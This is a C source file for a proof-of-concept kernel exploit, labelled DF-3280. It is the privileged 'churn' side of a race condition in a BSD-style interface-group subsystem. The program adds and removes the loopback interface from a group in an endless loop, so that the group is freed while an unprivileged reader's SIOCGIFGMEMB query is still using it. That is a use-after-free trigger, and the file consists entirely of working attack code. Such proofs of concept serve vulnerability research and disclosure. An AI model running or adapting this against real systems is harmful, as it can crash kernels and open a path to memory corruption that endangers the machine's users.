DF-3280 / gmembr_churn.c
/* * DF-3280 PoC - privileged side (group churn). * * Loop SIOCAIFGROUP/SIOCDIFGROUP of "lo0" into group "rgrpA". * Every SIOCDIFGROUP that removes the last member destroys the group * (if_destroygroup -> kfree(ifg)) -- colliding with the unprivileged * reader's in-flight SIOCGIFGMEMB between its two ifgroup_lock * critical sections. */ #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define GRP_DEFAULT "rgrpA" #define IFP_DEFAULT "lo0" int main(int argc, char *argv[]) { const char *GRP = argc > 1 ? argv[1] : GRP_DEFAULT; const char *IFP = argc > 2 ? argv[2] : IFP_DEFAULT; struct ifgroupreq ifgr; int s, r; unsigned long adds = 0, dels = 0, err = 0; time_t t0 = time(NULL), tl = t0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } for (;;) { memset(&ifgr, 0, sizeof(ifgr)); strlcpy(ifgr.ifgr_name, IFP, sizeof(ifgr.ifgr_name)); strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group)); r = ioctl(s, SIOCAIFGROUP, &ifgr); if (r == 0) adds++; memset(&ifgr, 0, sizeof(ifgr)); strlcpy(ifgr.ifgr_name, IFP, sizeof(ifgr.ifgr_name)); strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group)); r = ioctl(s, SIOCDIFGROUP, &ifgr); if (r == 0) dels++; else if (errno != ENOENT) err++; if (time(NULL) - tl >= 10) { tl = time(NULL); printf("[churn ] adds=%lu dels=%lu err=%lu (t=%ld)\n", adds, dels, err, time(NULL) - t0); fflush(stdout); } } return 0; } |